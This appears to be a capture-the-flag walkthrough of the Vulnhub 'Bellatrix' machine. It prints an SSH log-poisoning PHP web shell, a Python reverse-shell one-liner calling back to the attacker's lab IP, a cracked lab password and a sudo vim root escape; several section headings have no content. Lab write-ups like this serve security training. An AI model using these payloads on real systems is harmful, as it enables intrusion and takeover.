Bellatrix Vulnhub Writeup

The evil Bellatrix Lestrange has escaped from the prison of Azkaban, but as … Find out and tell the Minister of Magic

Difficult: Medium

This works better in VirtualBox

Hints –> Brute force is not necessary, unless it is required. ncat is the key ;)

Social-Media: Twitter –> @BertrandLorent9, Instagram –> @BertrandLorente9

• NMAP
  • Port 80
  • Port 80 Source
  • Port 80 ikilledsiriusblack.php LFI
• SSH Log Posioning
  • ikilledsiriusblack.php?file=/var/log/auth.log
  • Reverse Shell
    • www-data shell
• Crack hash with custom wordlist and john
  • Password for lestrange
    • SSH lestrange
  • Sudo -l
  • So in our case
• ROOT

NMAP #

Bellatrix NMAP Scan

Port 80 #

Port 80 Source #

Port 80 ikilledsiriusblack.php LFI #

SSH Log Posioning #

┌─[root@redteam2020] ─ [Fri Dec 04 14:24:56] [~/ctfs/vulnhub/bellatrix]
└──╼ # ssh '<?php echo shell_exec($_GET["j1v37u2k3y"]);?>'@192.168.9.128
<?php echo shell_exec($_GET["j1v37u2k3y"]);?>@192.168.9.128's password: 

┌─[✗]─[root@redteam2020] ─ [Fri Dec 04 14:25:59] [~/ctfs/vulnhub/bellatrix]
└──╼ # 

ikilledsiriusblack.php?file=/var/log/auth.log #

Reverse Shell #

 >>  22
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.129",1334));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' Copied to clipboard
┌─[root@redteam2020] ─ [Fri Dec 04 14:29:05] [~/ctfs/vulnhub/bellatrix]
└──╼ # 

www-data shell #

Crack hash with custom wordlist and john #

Password for lestrange #

lestrange:ihateharrypotter

SSH lestrange #

Sudo -l #

• (ALL : ALL) NOPASSWD: /usr/bin/vim
  • https://gtfobins.github.io/gtfobins/vim/

So in our case #

sudo /usr/bin/vim -c ':!/bin/sh'

ROOT #